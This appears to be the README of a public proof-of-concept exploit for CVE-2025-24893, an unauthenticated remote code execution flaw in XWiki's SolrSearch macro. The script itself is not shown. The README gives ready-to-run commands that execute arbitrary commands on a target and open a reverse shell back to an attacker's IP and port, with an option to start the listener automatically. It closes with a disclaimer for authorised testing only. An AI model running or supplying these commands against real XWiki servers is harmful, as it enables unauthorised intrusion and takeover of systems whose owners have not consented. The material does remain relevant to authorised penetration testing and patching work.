80ottanta80/cve-2025-24893-pocXWiki Unauthenticated RCE Exploit for Reverse Shell
XWiki Unauthenticated RCE Exploit
Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro. Unauthenticated attackers can execute arbitrary Groovy code remotely and obtain a reverse shell.
This exploit can be used for executing code on the target machine and can also establishes a reverse shell. Two modes are available: interactive or parameter-based. The exploit can automatically start a listener or use an existing one.
python3 xwiki_groovy_rce.py
# Remote Code Execution
python3 xwiki_groovy_rce.py --code "mkdir test" -u http://example.com
# Reverse Shell with automatic listener (default)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480
# Reverse Shell without existing listener (no automatic listener)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480 --no-listener
-h/--help: Show the help menu
-u/--url: Target XWiki URL (required)
-r/--reverse-shell: Execute a reverse shell
-c/--command: Execute a single command
-i/--ip: Specify listener IP (for reverse shell only)
-p/--port: Specify listener port (for reverse shell only, default=4444)
--no-listener: Don't start a listener (for reverse shell only)
This proof-of-concept is for educational and authorized testing purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.
The authors are not responsible for any misuse of this information.